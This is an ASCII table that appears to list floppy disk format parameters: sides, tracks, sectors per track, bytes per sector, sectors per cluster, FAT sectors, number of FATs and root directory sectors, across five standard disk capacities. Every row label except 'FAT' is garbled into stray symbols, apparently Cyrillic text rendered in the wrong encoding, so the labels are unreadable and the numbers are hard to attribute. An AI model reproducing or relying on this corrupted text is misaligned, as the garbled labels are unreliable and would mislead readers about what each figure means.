    |----------|------|------|------|-------|--------|
    |⢮|      |      |      |       |        |
    |஭    | 2    | 2    | 2    | 2     | 2      |
    |----------|------|------|------|-------|--------|
    |⢮|      |      |      |       |        |
    |஦   | 80   | 80   | 80   | 80    | 40     |
    | ஭|      |      |      |       |        |
    |----------|------|------|------|-------|--------|
    |⢮|      |      |      |       |        |
    |ᥪ஢  | 36   | 18   | 9    | 15    | 9      |
    | ஦|      |      |      |       |        |
    |----------|------|------|------|-------|--------|
    |    |      |      |      |       |        |
    |ᥪ   | 512  | 512  | 512  | 512   | 512    |
    |----------|------|------|------|-------|--------|
    |⢮|      |      |      |       |        |
    |ᥪ஢  | 2    | 1    | 2    | 1     | 2      |
    | |      |      |      |       |        |
    |----------|------|------|------|-------|--------|
    | FAT |      |      |      |       |        |
    | ᥪ| 9    | 9    | 3    | 7     | 2      |
    |----------|------|------|------|-------|--------|
    |⢮|      |      |      |       |        |
    | FAT | 2    | 2    | 2    | 2     | 2      |
    |----------|------|------|------|-------|--------|
    |     |      |      |      |       |        |
    |୥ |      |      |      |       |        |
    |⠫  | 15   | 14   | 7    | 14    | 7      |
    | ᥪ|      |      |      |       |        |
    |__________|______|______|______|_______|________|



